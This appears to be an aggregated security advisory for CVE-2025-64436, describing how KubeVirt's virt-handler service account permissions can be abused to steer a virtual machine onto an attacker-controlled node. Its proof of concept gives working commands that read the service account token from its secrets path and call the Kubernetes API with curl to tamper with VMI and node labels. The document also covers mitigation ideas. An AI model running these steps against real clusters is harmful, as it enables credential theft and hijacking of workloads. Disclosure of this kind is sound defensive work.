KubeVirt is a virtual machine management add-on for Kubernetes. In 1.5.0 and earlier, the permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
KubeVirt is a virtual machine management add-on for Kubernetes. In 1.5.0 and earlier, the permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
KubeVirt is a virtual machine management add-on for Kubernetes. In 1.5.0 and earlier, the permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
### Summary
The permissions granted to the `virt-handler` service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.
### Details
Following the [GitHub security advisory published on March 23 2023](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-cp96-jpmq-xrr2), a `ValidatingAdmissionPolicy` was introduced to impose restrictions on which sections of node resources the `virt-handler` service account can modify. For instance, the `spec` section of nodes has been made immutable, and modifications to the `labels` section are now limited to `kubevirt.io`-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
However, if a `virt-handler` service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, `virt-handler` sets a specific `kubevirt.io` boolean label, `kubevirt.io/schedulable`, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to `false`, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.
[Another finding](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-ggp9-c99x-54gp) describes how a compromised `virt-handler` instance can perform operations on other nodes that are intended to be executed solely by `virt-api`. This significantly increases both the impact and the likelihood of the vulnerability being exploited
Additionally, by default, the `virt-handler` service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's `NodeRestriction` feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.
### PoC
By injecting incorrect data into a running VMI, for example, by altering the `kubevirt.io/nodeName` label to reference a different node, the VMI is marked as terminated and its state transitions to `Succeeded`. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:
```yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
name: testvm
spec:
runStrategy: Always
template:
metadata:
labels:
kubevirt.io/size: small
kubevirt.io/domain: testvm
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
interfaces:
- name: default
masquerade: {}
resources:
requests:
memory: 64M
networks:
- name: default
pod: {}
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
```
The VMI is then created on a minikube node identified with `minikube-m02`:
```bash
operator@minikube:~$ kubectl get vmi testvm
NAME AGE PHASE IP NODENAME READY
testvm 20s Running 10.244.1.8 minikube-m02 True
```
Assume that a `virt-handler` pod, running on node `minikube-m03`, is compromised and an attacker and the latter wants the `testvm` to be re-deployed on a controlled by them node.
First, we retrieve the `virt-handler` service account token in order to be able to perform requests to the Kubernetes API:
```bash
# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh 1/1 Running 0 8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
```
The attacker updates the VMI object labels in a way that makes it terminate:
```bash
# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME AGE PHASE IP NODENAME READY
testvm 42m Running 10.244.1.8 minikube-m02 False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4 0/3 Completed 0 44m # the `virt-launcher` pod is completed
```
Now, the attacker can use the excessive permissions of the `virt-handler` service account to patch the `minikube-m02` node in order to mark it as unschedulable for VMI workloads:
```bash
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH
```
**Note: This request could require multiple invocations as the `virt-handler` is continuously updating the schedulable state of the node it is running on**.
Finally, an admin user decides to restart the VMI:
```bash
admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME AGE PHASE IP NODENAME READY
testvm 80s Running 10.244.0.15 minikube-m03 True
```
Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the `userInfo` object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' `NodeRestriction` feature gate. Since Kubernetes version 1.32, the `node` authorization mode, enforced via the `NodeRestriction` admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.
An alternative approach would be to create a dedicated `virt-handler` service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the `userInfo.username` field of the `AdmissionRequest` object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.
### Impact
This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes in github.com/kubevirt/kubevirt.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/kubevirt/kubevirt before v1.7.0.
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Original publisher date fields
datePublished: Nov 7, 2025, 10:59:47 PM
dateUpdated: Nov 10, 2025, 6:53:09 PM
2 related source bulletins · separate from aliases
WID-SEC-W-2025-2563: Microsoft Azure Linux: Mehrere Schwachstellen
msrc_CVE-2025-64436: KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes
CVE-2025-64436
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NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.